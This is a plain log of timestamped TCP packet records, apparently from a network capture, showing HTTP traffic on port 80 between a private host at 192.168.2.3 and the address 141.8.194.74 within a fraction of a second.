Jan 14, 2022 02:05:32.039088964 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.039091110 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039130926 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039170980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039181948 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.039208889 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039247990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039249897 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.039287090 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039338112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039374113 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.039383888 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039427042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039427042 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.039467096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039506912 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039520979 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.039546013 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039654970 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.078268051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078346014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078409910 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078454018 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.078471899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078528881 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.078533888 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078583002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078630924 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.078643084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078702927 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078763008 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.078763962 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078821898 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078880072 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.078885078 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078947067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.078998089 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.078999996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079040051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079082012 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079087019 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079121113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079160929 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079200983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079210997 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079238892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079245090 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079279900 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079319000 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079355955 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079368114 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079397917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079401016 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079437017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079477072 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079516888 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079520941 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079555988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079596996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079611063 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079638004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079678059 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079689980 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079718113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079760075 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079771996 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079802036 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079844952 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079859018 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079886913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079927921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.079946041 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079967976 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.079968929 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080007076 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080049038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080089092 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080095053 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.080130100 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080147982 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.080169916 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080209017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080214977 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.080249071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080287933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080297947 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.080326080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080365896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080406904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.080413103 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.080444098 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.101068974 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.101102114 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.101116896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.101140022 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.101164103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.101186037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.101217985 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.101231098 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.101234913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.101252079 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.101268053 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.101294994 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.103101015 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.103127003 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.103143930 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.103168964 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.103202105 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.112816095 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.112855911 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.112879992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.112898111 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.112917900 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.112945080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.112967014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.112982035 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.112989902 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113001108 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113013983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113033056 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113035917 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113055944 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113075972 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113080025 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113107920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113123894 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113132954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113158941 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113178968 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113183975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113204002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113229990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113245010 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113255978 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113276958 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113276958 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113302946 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113317966 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113327026 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113353014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113368988 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113388062 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113406897 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113430977 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113430977 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113454103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113471985 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113476992 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113500118 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113509893 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113523960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113543034 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113567114 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113569975 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113591909 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113605022 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113619089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113620996 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113642931 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113666058 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113667965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113692045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113714933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113738060 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113742113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113768101 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113775969 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113795042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113818884 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113821030 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113843918 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113862991 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113879919 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113898039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113915920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113934040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113953114 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113954067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113971949 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.113972902 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.113991022 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114000082 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.114011049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114031076 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114044905 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.114049911 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114067078 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.114068985 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114088058 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114089012 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.114106894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114119053 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.114125967 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114145994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114151955 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.114166021 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114187002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114207029 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114219904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114232063 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.114233971 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114247084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114264965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114273071 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.114283085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.114304066 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.114326954 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.153775930 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.153820038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.153867960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.153891087 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.153918028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.153935909 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.153938055 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.153955936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.153980017 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.153984070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154011011 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154011011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154031038 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154038906 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154067993 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154092073 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154109955 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154115915 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154133081 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154139996 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154150963 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154170036 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154177904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154198885 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154220104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154223919 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154242039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154267073 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154283047 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154294014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154314041 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154315948 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154340029 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154356003 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154361010 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154386997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154407978 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154413939 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154441118 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154453039 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154465914 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154488087 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154514074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154527903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154534101 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154551983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154560089 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154570103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154587984 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154588938 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154604912 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154623032 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154640913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154644012 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154659033 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154669046 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154678106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154695988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154704094 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154712915 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154716969 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154731035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154748917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154756069 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154766083 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154777050 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154783964 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154802084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154807091 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154814959 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154833078 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154848099 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154850960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154867887 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154869080 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.154886961 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.154913902 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.174524069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.174552917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.174570084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.174587965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.174606085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.174623013 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.174624920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.174644947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.174653053 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.174660921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.174679041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.174701929 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.174730062 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.176362991 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.176388025 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.176404953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.176451921 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.187577963 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187621117 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187649012 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187658072 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.187674999 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187685013 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.187704086 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187731028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187741041 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.187756062 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187782049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187793970 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.187805891 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187832117 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187844038 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.187856913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187881947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187891960 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.187907934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187932014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187956095 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.187958956 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.187992096 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.187997103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188023090 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188050032 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188060999 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188076973 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188101053 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188113928 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188127041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188152075 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188164949 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188178062 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188206911 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188232899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188251019 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188257933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188282967 CET	49901	80	192.168.2.3	141.8.194.74
